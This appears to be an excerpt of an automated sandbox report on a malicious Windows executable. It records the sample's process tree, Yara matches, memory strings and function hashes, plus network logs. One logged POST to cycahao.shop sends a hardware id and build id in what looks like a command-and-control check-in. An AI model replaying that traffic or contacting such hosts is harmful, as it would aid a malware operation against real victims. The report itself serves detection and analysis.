2024-12-27 07:20:46 UTC	15331	OUT	Data Raw: d3 c9 04 e9 b8 4e 3a da ca c7 5e 98 4c 61 dd e9 85 86 2c 12 71 3a ee c1 d1 1b 37 7a 11 80 74 55 eb de 10 e5 98 2a 71 b2 84 4d 61 b6 32 c1 a1 40 16 6c 1d 18 8e 81 72 05 c0 97 ec ae a2 d5 74 48 df 19 b0 c4 49 49 68 54 6e 5a 23 88 95 17 05 f2 7f 5e e2 e4 81 2c 33 f6 c9 cf d8 29 1c 6c d6 8e 03 f9 fa a8 e8 64 2b 03 87 52 a1 c0 a1 88 dc 34 be 68 e4 30 1a 33 6b 5d 43 9b 23 2d d8 c2 8d 3c c4 4e c0 c6 76 1e f8 98 af 51 ed 72 16 79 41 00 fe 65 99 5b 9b 5c 75 89 53 f2 11 7b 9a 2e 2c 76 59 20 e6 fb e8 ce 99 cb cf 2c e5 7b 2f 4c d9 a3 63 79 33 9a a6 d4 4c 59 fd 74 0d cc 7f 5e ab 7b 6f 02 1f fb 01 d1 e4 56 50 37 5b d7 78 cd 65 10 ef 8e 85 37 b2 fb ee b9 1f 18 95 83 23 15 49 67 00 32 c1 2b 2e 06 72 b9 57 fd c6 c6 3e 90 ae 12 49 27 28 14 39 64 17 76 5c 14 c4 1c da 6d 85 Data Ascii: N:^La,q:7ztU*qMa2@lrtHIIhTnZ#^,3)ld+R4h03k]C#-<NvQryAe[\uS{.,vY ,{/Lcy3LYt^{oVP7[xe7#Ig2+.rW>I'(9dv\m
2024-12-27 07:20:46 UTC	15331	OUT	Data Raw: a4 b4 95 97 61 e8 bf 10 b7 be 38 a2 b0 cd 72 c3 bf bc b8 c4 d8 a6 ac 53 2c bc 82 9a fe 9c 59 29 ca 7d 35 99 44 91 d2 d6 f8 25 aa 5d 90 c0 89 ee fa 36 6f 6c 19 6c 29 08 d6 e6 6a b6 1a bc b2 dc d2 aa 4c 42 29 42 c0 49 4a db 76 f1 03 84 83 e8 3d ff b7 22 34 7c c7 af 2b fc f4 a1 2e 59 a3 fc aa f5 1d c7 4a dd ce 4f 08 2c 6c 15 62 42 ac 89 9b 0d 64 5d 3c b6 08 de a9 3c 67 8a 8b 8c d1 bc 46 24 36 b5 32 ee c1 7e b7 38 d0 fe bf b5 82 b2 12 28 ee fb 44 a3 80 31 5a 15 a2 06 9e a1 bb c0 09 91 54 be ed 6f 63 b4 14 de e4 fd 48 ca e3 29 fc e8 6b ac 4d 66 fa 53 78 38 04 72 f2 f1 5f 44 58 25 80 f1 83 f1 6d 90 1c f8 46 81 0f b1 16 57 3d f5 80 f0 83 59 20 66 4f 2d 69 36 b7 22 04 9f 2f 8b 46 17 72 65 2e c4 0d a8 a7 61 19 04 84 5b 57 50 99 17 4d ce 31 d4 00 95 c8 98 41 17 3f Data Ascii: a8rS,Y)}5D%]6oll)jLB)BIJv="4\|+.YJO,lbBd]<<gF$62~8(D1ZTocH)kMfSx8r_DX%mFW=Y fO-i6"/Fre.a[WPM1A?
2024-12-27 07:20:46 UTC	15331	OUT	Data Raw: 3d e7 23 b7 c3 b7 17 83 b1 63 d5 ba 91 41 68 86 28 43 78 a2 c4 26 c1 67 db 8e 99 f9 a1 fa ae f3 14 dc 4c 15 f5 8f 90 d9 ae a1 5b 2f ec 0a 0d d8 79 e6 d8 20 2e 6a 58 f4 f7 eb 48 6c 13 8f c3 7a 25 84 eb ee 63 a4 89 07 83 1f d0 c2 a1 31 ab 64 6e c3 14 19 2e 0e c6 1c 17 de c5 62 19 cc e7 7c f3 a2 7f 0f e4 c1 a7 73 6b 38 ef 45 96 b2 ec 13 a9 1a ba 4a 89 de 74 59 9b af 06 dc 12 df 5b b2 c2 12 15 7a 1f db de b6 5a e4 c3 e9 fe e2 26 17 79 77 12 f7 73 c3 e7 e6 e2 46 f4 52 9b bc 42 75 ed 76 d1 b6 d7 49 e2 c7 03 ea f8 48 2a f0 8f 08 56 e5 55 7c 2d c3 e8 10 b1 a5 99 34 46 69 57 e6 12 0b f8 70 fd 17 5d 0c fd 49 37 21 1c 55 c6 c1 3f db d9 29 06 2b 64 6b 64 29 99 43 d4 cc 75 6a 9b 78 8d 0f da 07 88 88 40 17 71 f9 c8 29 a5 f6 54 6c ef aa 6c 7f c4 76 d9 83 80 c5 89 5d f4 Data Ascii: =#cAh(Cx&gL[/y .jXHlz%c1dn.b\|sk8EJtY[zZ&ywsFRBuvIH*VU\|-4FiWp]I7!U?)+dkd)Cujx@q)Tllv]
2024-12-27 07:20:46 UTC	15331	OUT	Data Raw: a6 7e 64 e5 99 d3 54 a1 ff b8 c4 49 08 cd 97 91 b5 42 d1 cb 63 03 4a 63 fd 0f 4e 3a ba c0 8b ce 2a 91 53 8d 14 73 97 62 75 d7 68 f5 e1 d6 ad 17 bc a0 71 55 cb de ed 72 91 7b df 13 19 e9 56 16 0f 22 46 ab ee ef 8f 5c c9 23 dc e9 db d8 53 1b 54 6d b3 07 d3 af 6e 8f 27 25 b2 f1 35 e6 0c 22 97 04 93 f3 20 f1 63 ca 2a 25 fb 34 52 d5 72 9a 2c c5 44 44 96 76 6d 6b 74 da a1 16 ad 2d df ba 44 d5 6a 54 49 48 6a b6 22 d7 50 58 64 79 fa a8 38 25 08 2d 94 34 e2 e3 4a e5 a2 22 13 b8 55 df 1d f1 07 bd 44 b7 f1 84 34 26 6d 7b 0e 4b 3f ed a6 7d a2 f2 cf b5 e4 03 70 a8 28 4f 56 7a 4e 69 64 c1 2d 34 a2 03 0d 2f 75 ff a7 f4 8c c1 16 5d e6 e7 bd 37 46 74 41 aa 12 c1 e8 ff 6d 00 5b b7 66 f5 ca 81 f6 07 95 27 fe b9 a4 22 b9 49 f3 85 2d ea 9d 90 e1 f5 4b aa ba 18 66 b1 15 5d 8b Data Ascii: ~dTIBcJcN:SsbuhqUr{V"F\#STmn'%5" c%4Rr,DDvmkt-DjTIHj"PXdy8%-4J"UD4&m{K?}p(OVzNid-4/u]7FtAm[f'"I-Kf]
2024-12-27 07:20:46 UTC	15331	OUT	Data Raw: fc a7 15 3b 5b 8a ed da 96 4c 22 ac d1 b0 56 1a 27 27 fb 5d 25 6e 55 a6 f4 8e 64 a5 a3 61 54 38 ea 5a 34 5d 96 1b 98 26 ac c3 d1 df be 66 7f 2b a3 07 82 33 e1 bc 41 a6 68 92 7e 23 f4 cc ba 65 a6 b5 1a db af 9e 84 a7 16 6e fa a5 b2 6f d9 11 58 e3 b7 24 76 a9 ca 52 d8 ad ef b1 6c ec 2d b5 00 1b 38 02 15 89 82 95 bf 6c ca 39 4e ba a0 16 e6 30 f0 33 75 3e b1 ef 7b 86 17 34 60 74 c3 7a 03 e1 04 68 78 08 ef db 75 f5 6e 6e ed 7a 30 fb af 4d 0d 9f 8c f4 35 32 d3 24 6c 1b 1c 4d d9 f5 df 94 fb aa 9d c3 ee 02 fb e7 ba e4 48 cb 6e 44 ea af 79 58 02 d1 79 bc 25 2e b4 c6 32 df c5 09 07 0d 3b 63 49 6e 0c 38 7c cf c1 c6 45 91 8e fe af 2f 95 52 b8 da f8 37 3b a8 69 4a 29 ff 5a 6d 1b a8 0c e4 8f 99 67 ba 85 f7 f9 20 5b 6a cb d0 d8 be 7f a8 59 fb 63 7f 92 1a 43 56 d2 23 12 Data Ascii: ;[L"V'']%nUdaT8Z4]&f+3Ah~#enoX$vRl-8l9N03u>{4`tzhxunnz0M52$lMHnDyXy%.2;cIn8\|E/R7;iJ)Zmg [jYcCV#
2024-12-27 07:20:48 UTC	1040	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:20:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=570m1hnsn65h7q42c9rt2qogb4; expires=Tue, 22-Apr-2025 01:07:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1cq6B%2BPIowJ%2FmNFqfuBrVJaRVLjS1wBlq0DS87GSckgb7iLOKfI0%2FX3Kno0YLTIUcnfuXPvtvp1KAGDWD1engFax877BvS%2BCbgYZAjSAqZW1rK8BUi8yHQapR0rMvHc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f878ccc2eb82369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1797&min_rtt=1781&rtt_var=700&sent=202&recv=583&lost=0&retrans=0&sent_bytes=2825&recv_bytes=560350&delivery_rate=1528795&cwnd=142&unsent_bytes=0&cid=6bfabb8bcf08e126&ts=2178&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49801	172.67.135.139	443	612	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:50 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: cycahao.shop
2024-12-27 07:20:50 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 56 49 4b 41 26 6a 3d 66 62 33 64 65 30 39 36 65 37 62 66 31 66 39 65 61 32 36 30 36 30 64 34 63 66 61 39 33 39 65 62 26 68 77 69 64 3d 41 44 46 33 42 38 43 31 34 42 46 46 33 44 41 43 31 31 34 35 32 33 37 37 39 38 44 46 38 43 43 32 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--VIKA&j=fb3de096e7bf1f9ea26060d4cfa939eb&hwid=ADF3B8C14BFF3DAC1145237798DF8CC2
2024-12-27 07:20:50 UTC	1033	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:20:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5mim7sj7jqij7h05qeasrqhptc; expires=Tue, 22-Apr-2025 01:07:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K3dF1x7Bixyu6tfGXxrVijVT%2FKLDDIcxW5J5ABMWEbidtCAzCk7eZCkWeO1Jt%2BHANhdUD%2FocVJEyUmZzXgbv%2FBcQsPEUuQc8fhKGGBM1vJYBlr0xvCXmRjgZdbcjv20%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f878ce2e875c33b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1571&rtt_var=603&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1010&delivery_rate=1794714&cwnd=171&unsent_bytes=0&cid=3f0eee69a08fc92d&ts=780&x=0"
2024-12-27 07:20:50 UTC	138	IN	Data Raw: 38 34 0d 0a 56 65 50 30 6e 53 73 51 69 66 69 76 39 78 36 4d 53 31 69 76 55 70 31 75 49 68 44 6d 67 43 63 50 72 4b 37 54 46 6c 69 73 50 71 41 4f 6d 4e 62 6f 43 53 71 72 6b 4e 75 44 62 76 39 78 42 49 41 4f 73 67 56 4f 65 5a 62 30 54 6e 58 64 67 4b 42 2b 4e 39 78 69 6a 7a 79 4e 67 4d 4a 49 66 50 6d 6e 77 35 4e 73 30 7a 67 77 7a 6e 7a 70 46 6c 59 79 79 71 4a 42 65 34 36 55 34 54 70 36 79 52 79 61 5a 4a 36 70 0d 0a Data Ascii: 84VeP0nSsQifiv9x6MS1ivUp1uIhDmgCcPrK7TFlisPqAOmNboCSqrkNuDbv9xBIAOsgVOeZb0TnXdgKB+N9xijzyNgMJIfPmnw5Ns0zgwznzpFlYyyqJBe46U4Tp6yRyaZJ6p
2024-12-27 07:20:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:20:04
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\6wFwugeLNG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\6wFwugeLNG.exe"
Imagebase:	0xf40000
File size:	11'141'120 bytes
MD5 hash:	16B7635BD33367D455F26ADC148DBFC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.2391539251.0000000009F30000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:20:14
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg query HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon /v version
Imagebase:	0x2a0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:20:14
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:20:26
Start date:	27/12/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x930000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00F73540 Relevance: 11.4, Strings: 9, Instructions: 172COMMON

Download Yara Rule

Strings

runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime:, xrefs: 00F73771
runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedsysMemStat overflowtoo many open filesunexpected InstFailunexpected g statusunknown Go type: %vunknown certificateunknown ciphe, xrefs: 00F736DB
bad g0 stackbad recoveryc ap trafficc hs trafficcaller errorcan't happencas64 failedchan receiveclose notifycontent-typecontext.TODOcritmsgcountdumping heapend tracegcentersyscallexit status formatid = 'freeaddrinfogcBitsArenasgcpacertracegetaddrinfowharddeco, xrefs: 00F7374A
CreateWaitableTimerEx when creating timer failed[%LEVEL] %RelFile:%Func.%Line %Date %Time %Msg%nasync adaptive logger min interval should be > 0bufio: writer returned negative count from Writecould not find GetSystemTimeAsFileTime() syscallfail to read symbol , xrefs: 00F73800
: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=tls: internal error: failed to update binderstls: internal error: unexpected renegotiationtransform: input and output are not, xrefs: 00F73827
: duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function setprofilebucket: profile already setstartTheWorld: inconsistent mp->nextpstrings: Repeat count causes overflowtimezone hour outside of range [0,23]t, xrefs: 00F7385B
%, xrefs: 00F73864
runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=tls: internal error: failed to update binderstls: internal error: unexpected renegotiationtransform: input and output are not identicaltransitioning GC to the same state , xrefs: 00F737CC
VirtualQuery for stack base failedadaptive logger parameters not setadding nil Certificate to CertPoolarchive/tar: header field too longarchive/tar: sockets not supportedchacha20: wrong HChaCha20 key size : invalid buffer overlapcrypto/des: invalid bu, xrefs: 00F737A5

Memory Dump Source

Source File: 00000000.00000002.2389252011.0000000000F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2389214126.0000000000F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389510096.0000000001216000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389510096.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389782784.00000000014E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389805411.00000000014EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389838069.0000000001514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389868346.0000000001516000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389891437.0000000001517000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389910609.0000000001519000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389930550.000000000151B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389930550.0000000001523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389930550.0000000001543000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389930550.0000000001548000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2390025571.000000000154B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2390046064.000000000154C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2390046064.0000000001570000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_6wFwugeLNG.jbxd

Similarity

API ID:
String ID: : duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=tls: internal error: failed to update binderstls: internal error: unexpected renegotiationtransform: input and output are not$ : duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function setprofilebucket: profile already setstartTheWorld: inconsistent mp->nextpstrings: Repeat count causes overflowtimezone hour outside of range [0,23]t$%$CreateWaitableTimerEx when creating timer failed[%LEVEL] %RelFile:%Func.%Line %Date %Time %Msg%nasync adaptive logger min interval should be > 0bufio: writer returned negative count from Writecould not find GetSystemTimeAsFileTime() syscallfail to read symbol $VirtualQuery for stack base failedadaptive logger parameters not setadding nil Certificate to CertPoolarchive/tar: header field too longarchive/tar: sockets not supportedchacha20: wrong HChaCha20 key size : invalid buffer overlapcrypto/des: invalid bu$bad g0 stackbad recoveryc ap trafficc hs trafficcaller errorcan't happencas64 failedchan receiveclose notifycontent-typecontext.TODOcritmsgcountdumping heapend tracegcentersyscallexit status formatid = 'freeaddrinfogcBitsArenasgcpacertracegetaddrinfowharddeco$runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=tls: internal error: failed to update binderstls: internal error: unexpected renegotiationtransform: input and output are not identicaltransitioning GC to the same state $runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime:$runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedsysMemStat overflowtoo many open filesunexpected InstFailunexpected g statusunknown Go type: %vunknown certificateunknown ciphe
API String ID: 0-138150089
Opcode ID: a3e0efe5e2af5f171eab66401e847e36ec8a67bb1736554a4df48fc1f3baf2b9
Instruction ID: d6c73eb100865f09e1f7be7c7e1246538d27331766843e92c4b3201b585ad5b1
Opcode Fuzzy Hash: a3e0efe5e2af5f171eab66401e847e36ec8a67bb1736554a4df48fc1f3baf2b9
Instruction Fuzzy Hash: 6781D1B45087019FD300EF68D589B5ABBE4BF88744F01892EF4989B342DB78D945AF53

Function 00F83660 Relevance: 5.1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

Strings

releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchsnappy: corrupt inputsplitDispatcher ->%sstale NFS file handlestartlockedm: m has pstartm: m is spinningstate no, xrefs: 00F837B1
releasep: m=remote errorruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstoo long inttraceStringstransmitfileunexpected )unknown portwintrust.dllwirep: p->m=worker mode wtsapi32.dll ->%s != swe, xrefs: 00F836F9
m->p= max= min= next= null p->m= prev= span=% util%%%02x%c[%sm%s: %s%s: %v(...), i = , not , val .local.onion.reloc390625; and <-chanAacuteAgraveAnswerArabicAtildeAugustBrahmiCANCELCDATA[CONIN$CarianCcedilChakmaCommonCopticDaggerENCLogENCMapEacuteEgraveEx, xrefs: 00F8371B
p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC)' attribute) at entry+, elemsize=, npages = -syncWithWU.WithCancel.seelog_tmp/dev/stderr/dev/stdout/index.html30517578125: frame.sp=> in space AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s, xrefs: 00F83767

Memory Dump Source

Source File: 00000000.00000002.2389252011.0000000000F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2389214126.0000000000F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389510096.0000000001216000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389510096.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389782784.00000000014E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389805411.00000000014EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389838069.0000000001514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389868346.0000000001516000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389891437.0000000001517000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389910609.0000000001519000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389930550.000000000151B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389930550.0000000001523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389930550.0000000001543000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389930550.0000000001548000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2390025571.000000000154B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2390046064.000000000154C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2390046064.0000000001570000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_6wFwugeLNG.jbxd

Similarity

API ID:
String ID: m->p= max= min= next= null p->m= prev= span=% util%%%02x%c[%sm%s: %s%s: %v(...), i = , not , val .local.onion.reloc390625; and <-chanAacuteAgraveAnswerArabicAtildeAugustBrahmiCANCELCDATA[CONIN$CarianCcedilChakmaCommonCopticDaggerENCLogENCMapEacuteEgraveEx$ p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC)' attribute) at entry+, elemsize=, npages = -syncWithWU.WithCancel.seelog_tmp/dev/stderr/dev/stdout/index.html30517578125: frame.sp=> in space AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s$releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchsnappy: corrupt inputsplitDispatcher ->%sstale NFS file handlestartlockedm: m has pstartm: m is spinningstate no$releasep: m=remote errorruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstoo long inttraceStringstransmitfileunexpected )unknown portwintrust.dllwirep: p->m=worker mode wtsapi32.dll ->%s != swe
API String ID: 0-3237958999
Opcode ID: afe0bd259d92043409af73aa4387e9b28fc43992c17481e5e6b4b0cbc1429dea
Instruction ID: 5d80cbb871c5bbb2343e814620895bd1c7c1204a75d99293112a3349ec7c73b6
Opcode Fuzzy Hash: afe0bd259d92043409af73aa4387e9b28fc43992c17481e5e6b4b0cbc1429dea
Instruction Fuzzy Hash: 4031F6B45497058FD300EF28C588B5ABBE0BF88744F01886EE4888B352D779D949EF63

Analysis Process: BitLockerToGo.exePID: 612, Parent PID: 2792COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	76.9%
Total number of Nodes:	303
Total number of Limit Nodes:	23

Executed Functions

Function 004623E0 Relevance: 96.8, Strings: 76, Instructions: 1838COMMON

Download Yara Rule

Strings

b, xrefs: 0046370D
`, xrefs: 004630A7
", xrefs: 00463AA4
O, xrefs: 00462C6E
S, xrefs: 004632A2
>, xrefs: 00463B7C
, xrefs: 00463A94
M, xrefs: 00462C64
$, xrefs: 00463AB4
a, xrefs: 0046373D
O, xrefs: 00462F2B
2, xrefs: 00463B24
;, xrefs: 004637FD
w, xrefs: 00462823
(, xrefs: 00463A54
h, xrefs: 0046292D
;, xrefs: 0046343C
O, xrefs: 00462FD8
[, xrefs: 00462F0B
M, xrefs: 00462F1B
V, xrefs: 0046387D
N, xrefs: 00462C69
*, xrefs: 00463A64
f, xrefs: 0046374D
9, xrefs: 0046342C
], xrefs: 004625E9
?, xrefs: 004633EC
q, xrefs: 0046378D
W, xrefs: 00462928
(, xrefs: 0046249C
V, xrefs: 00462923
:, xrefs: 00463AE4
r, xrefs: 0046383D
o, xrefs: 0046375D
8, xrefs: 00463B6C
6, xrefs: 00463B44
#, xrefs: 004638AD
h, xrefs: 0046371D
4, xrefs: 00463B34
2, xrefs: 00462D3F
r, xrefs: 00462FF0
:, xrefs: 004633FC
), xrefs: 0046386D
W, xrefs: 00462BF3
3, xrefs: 00462D44
t, xrefs: 00463236
/, xrefs: 0046389D
., xrefs: 00463A84
D, xrefs: 00463C7B
s, xrefs: 00462FF8
D, xrefs: 004640A6
K, xrefs: 00462FB8
>, xrefs: 0046243B
0, xrefs: 00463B14
u, xrefs: 00463E75
5, xrefs: 00462D3A
k, xrefs: 0046388D
?, xrefs: 0046340C
,, xrefs: 00463A74
&, xrefs: 00463AC4
m, xrefs: 004637CD
<, xrefs: 00463AF4
d, xrefs: 00462FB0
z, xrefs: 004637ED
', xrefs: 0046341C
4, xrefs: 00462D49
(, xrefs: 00463B5C
o, xrefs: 00463231
>, xrefs: 00463B04
k, xrefs: 004636FD
M, xrefs: 00462FC8
w, xrefs: 0046377D
D, xrefs: 004640B3
8, xrefs: 00463AD4
q, xrefs: 00462FE8
x, xrefs: 0046264A

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $"$#$$$&$'$($($($)$*$,$.$/$0$2$2$3$4$4$5$6$8$8$9$:$:$;$;$<$>$>$>$?$?$D$D$D$K$M$M$M$N$O$O$O$S$V$V$W$W$[$]$`$a$b$d$f$h$h$k$k$m$o$o$q$q$r$r$s$t$u$w$w$x$z
API String ID: 0-2700217057
Opcode ID: 72caa9be55b4e81f5caf3915cbd3e050fa322ca5e25f87d827155404772df552
Instruction ID: f855725e839ded0dad3618c20b79dec3401d2358900879b8c26ed75a58782911
Opcode Fuzzy Hash: 72caa9be55b4e81f5caf3915cbd3e050fa322ca5e25f87d827155404772df552
Instruction Fuzzy Hash: 50039C3050C7C18EC335CB38849439FBBE1AB96324F188A6EE4E9873D2D6798545CB5B

Function 00486950 Relevance: 35.8, APIs: 11, Strings: 9, Instructions: 762
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0049068C,00000000,00000001,0049067C), ref: 00486BC8
SysAllocString.OLEAUT32(9CC89ABC), ref: 00486C27
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00486C6F
SysAllocString.OLEAUT32(DA68D850), ref: 00486CE5
